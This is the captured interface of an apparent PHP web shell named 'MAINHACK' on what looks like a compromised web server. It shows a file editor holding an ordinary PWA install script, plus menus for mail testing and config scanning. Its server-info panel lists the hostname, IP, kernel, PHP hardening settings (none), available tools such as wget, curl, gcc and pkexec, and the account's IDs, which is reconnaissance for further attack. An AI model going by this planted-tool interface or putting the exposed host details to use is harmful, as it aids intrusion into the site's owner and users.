[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: script.js
// Register Service Worker if ("serviceWorker" in navigator) { navigator.serviceWorker.register("/service-worker.js") .then(() => console.log("Service Worker Registered")) .catch((error) => console.log("Service Worker Registration Failed:", error)); } // Handle PWA Install Button let deferredPrompt; const installBtn = document.getElementById("installBtn"); window.addEventListener("beforeinstallprompt", (event) => { event.preventDefault(); deferredPrompt = event; installBtn.style.display = "block"; // Show install button installBtn.addEventListener("click", () => { deferredPrompt.prompt(); // Show install prompt deferredPrompt.userChoice.then((choiceResult) => { if (choiceResult.outcome === "accepted") { console.log("User accepted the PWA install"); } else { console.log("User dismissed the PWA install"); } deferredPrompt = null; installBtn.style.display = "none"; }); }); }); window.addEventListener("beforeinstallprompt", (event) => { console.log("beforeinstallprompt event fired"); // Debugging log event.preventDefault(); deferredPrompt = event; document.getElementById("installBtn").style.display = "block"; // Show install button }); // Hide install button if app is already installed window.addEventListener("appinstalled", () => { console.log("PWA installed"); installBtn.style.display = "none"; }); if (window.matchMedia("(display-mode: standalone)").matches) { if (window.location.pathname !== "/auth/") { window.location.href = "/auth/"; } } // Also handle older browsers that don’t support `display-mode` window.addEventListener("DOMContentLoaded", () => { if (navigator.standalone) { // For iOS Safari if (window.location.pathname !== "/auth/") { window.location.href = "/auth/"; } } }); function isIOS() { return /iphone|ipad|ipod/i.test(navigator.userAgent); } function isInStandaloneMode() { return window.matchMedia("(display-mode: standalone)").matches || window.navigator.standalone; } if (isIOS() && !isInStandaloneMode()) { document.getElementById("iosInstallPrompt").style.display = "block"; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002